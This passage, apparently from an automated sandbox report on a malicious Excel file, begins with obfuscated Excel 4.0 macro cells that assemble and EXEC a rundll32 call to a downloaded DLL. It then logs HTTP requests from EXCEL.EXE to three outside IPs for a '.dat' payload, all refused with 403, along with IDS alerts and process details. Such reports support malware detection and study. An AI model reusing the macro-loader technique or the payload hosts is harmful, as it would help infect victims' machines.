,"=""rund""",,"=""ll32 ..\Ladfge.VDGfwr,DllReg""","=""isterServer""",,,,,=PI()=EXEC(I7&I9&I10)=PI(),,,,=HALT(),

Network Behavior

Snort IDS Alerts

TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
05/04/21-19:22:08.456934TCP1201ATTACK-RESPONSES 403 Forbidden8049167185.183.99.115192.168.2.22
05/04/21-19:22:08.730907TCP1201ATTACK-RESPONSES 403 Forbidden804916851.89.73.159192.168.2.22
05/04/21-19:22:10.224366TCP1201ATTACK-RESPONSES 403 Forbidden8049169190.14.37.38192.168.2.22

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
May 4, 2021 19:22:08.097971916 CEST4916780192.168.2.22185.183.99.115
May 4, 2021 19:22:08.168730021 CEST8049167185.183.99.115192.168.2.22
May 4, 2021 19:22:08.168816090 CEST4916780192.168.2.22185.183.99.115
May 4, 2021 19:22:08.169533014 CEST4916780192.168.2.22185.183.99.115
May 4, 2021 19:22:08.241312981 CEST8049167185.183.99.115192.168.2.22
May 4, 2021 19:22:08.456933975 CEST8049167185.183.99.115192.168.2.22
May 4, 2021 19:22:08.457106113 CEST4916780192.168.2.22185.183.99.115
May 4, 2021 19:22:08.493907928 CEST4916880192.168.2.2251.89.73.159
May 4, 2021 19:22:08.541378975 CEST804916851.89.73.159192.168.2.22
May 4, 2021 19:22:08.541563988 CEST4916880192.168.2.2251.89.73.159
May 4, 2021 19:22:08.542151928 CEST4916880192.168.2.2251.89.73.159
May 4, 2021 19:22:08.584903002 CEST804916851.89.73.159192.168.2.22
May 4, 2021 19:22:08.730906963 CEST804916851.89.73.159192.168.2.22
May 4, 2021 19:22:08.731084108 CEST4916880192.168.2.2251.89.73.159
May 4, 2021 19:22:08.743665934 CEST4916980192.168.2.22190.14.37.38
May 4, 2021 19:22:08.981514931 CEST8049169190.14.37.38192.168.2.22
May 4, 2021 19:22:08.981689930 CEST4916980192.168.2.22190.14.37.38
May 4, 2021 19:22:08.982307911 CEST4916980192.168.2.22190.14.37.38
May 4, 2021 19:22:09.226521969 CEST8049169190.14.37.38192.168.2.22
May 4, 2021 19:22:10.224365950 CEST8049169190.14.37.38192.168.2.22
May 4, 2021 19:22:10.224529028 CEST4916980192.168.2.22190.14.37.38
May 4, 2021 19:23:13.458393097 CEST8049167185.183.99.115192.168.2.22
May 4, 2021 19:23:13.458534002 CEST4916780192.168.2.22185.183.99.115
May 4, 2021 19:23:13.750407934 CEST804916851.89.73.159192.168.2.22
May 4, 2021 19:23:13.750600100 CEST4916880192.168.2.2251.89.73.159
May 4, 2021 19:23:15.233357906 CEST8049169190.14.37.38192.168.2.22
May 4, 2021 19:23:15.233551979 CEST4916980192.168.2.22190.14.37.38
May 4, 2021 19:24:08.014560938 CEST4916980192.168.2.22190.14.37.38
May 4, 2021 19:24:08.014898062 CEST4916880192.168.2.2251.89.73.159
May 4, 2021 19:24:08.015141010 CEST4916780192.168.2.22185.183.99.115
May 4, 2021 19:24:08.057605028 CEST804916851.89.73.159192.168.2.22
May 4, 2021 19:24:08.081948996 CEST8049167185.183.99.115192.168.2.22
May 4, 2021 19:24:08.261415005 CEST8049169190.14.37.38192.168.2.22

HTTP Request Dependency Graph

  • 185.183.99.115
  • 51.89.73.159
  • 190.14.37.38

HTTP Packets

Session IDSource IPSource PortDestination IPDestination PortProcess
0192.168.2.2249167185.183.99.11580C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
TimestampkBytes transferredDirectionData
May 4, 2021 19:22:08.169533014 CEST0OUTGET /44313,6048108796.dat HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 185.183.99.115
Connection: Keep-Alive
May 4, 2021 19:22:08.456933975 CEST1INHTTP/1.1 403 Forbidden
Server: nginx
Date: Tue, 04 May 2021 17:22:11 GMT
Content-Type: text/html
Content-Length: 548
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


Session IDSource IPSource PortDestination IPDestination PortProcess
1192.168.2.224916851.89.73.15980C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
TimestampkBytes transferredDirectionData
May 4, 2021 19:22:08.542151928 CEST1OUTGET /44313,6048108796.dat HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 51.89.73.159
Connection: Keep-Alive
May 4, 2021 19:22:08.730906963 CEST2INHTTP/1.1 403 Forbidden
Server: nginx
Date: Tue, 04 May 2021 17:18:38 GMT
Content-Type: text/html
Content-Length: 548
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


Session IDSource IPSource PortDestination IPDestination PortProcess
2192.168.2.2249169190.14.37.3880C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
TimestampkBytes transferredDirectionData
May 4, 2021 19:22:08.982307911 CEST3OUTGET /44313,6048108796.dat HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 190.14.37.38
Connection: Keep-Alive
May 4, 2021 19:22:10.224365950 CEST4INHTTP/1.1 403 Forbidden
Server: nginx
Date: Tue, 04 May 2021 17:22:10 GMT
Content-Type: text/html
Content-Length: 548
Connection: keep-alive
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


Code Manipulations

Statistics

System Behavior

General

Start time:19:21:37
Start date:04/05/2021
Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):false
Commandline:'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:0x13fb50000
File size:27641504 bytes
MD5 hash:5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high

Disassembly

Reset < >